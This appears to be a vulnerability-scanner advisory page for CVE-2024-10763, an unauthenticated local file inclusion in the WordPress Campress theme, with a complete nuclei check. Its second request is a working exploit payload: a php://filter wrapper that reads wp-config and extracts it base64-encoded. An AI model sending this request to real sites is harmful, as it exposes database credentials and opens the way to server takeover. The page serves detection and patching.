WordPress Campress Theme <= 1.35 - Unauthenticated Local File Inclusion

criticalseverity

9.8CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Campress theme for WordPress up to 1.35 contains a local file inclusion caused by 'campress_woocommerce_get_ajax_products' function, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.

Impact

Attackers can include and execute arbitrary PHP files, leading to remote code execution and potential full server compromise.

Fix

Update to the latest version beyond 1.35.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/")
Send: POST /wp-admin/admin-ajax.php
Positive when: contains_all(body, "PD9waH", "ZGVmaW5l") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-10763 -u <target>

The full check

id: CVE-2024-10763

info:
  name: WordPress Campress Theme <= 1.35 - Unauthenticated Local File Inclusion
  author: pussycat0x
  severity: critical
  description: |
    Campress theme for WordPress up to 1.35 contains a local file inclusion caused by 'campress_woocommerce_get_ajax_products' function, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.
  impact: |
    Attackers can include and execute arbitrary PHP files, leading to remote code execution and potential full server compromise.
  remediation: |
    Update to the latest version beyond 1.35.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/campress/campress-135-unauthenticated-local-file-inclusion
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10763
    epss-score: 0.03655
    epss-percentile: 0.89707
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,wordpress,wp-theme,campress,lfi,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/")'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=campress_woocommerce_get_ajax_products&layout=php://filter/convert.base64-encode/resource=/var/www/html/wp-config

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "PD9waH", "ZGVmaW5l")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 0
        regex:
          - '[A-Za-z0-9+/]{50,}={0,2}'

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/campress/campress-135-unauthenticated-local-file-inclusion

Use this check only on systems you are authorised to test. Where the data comes from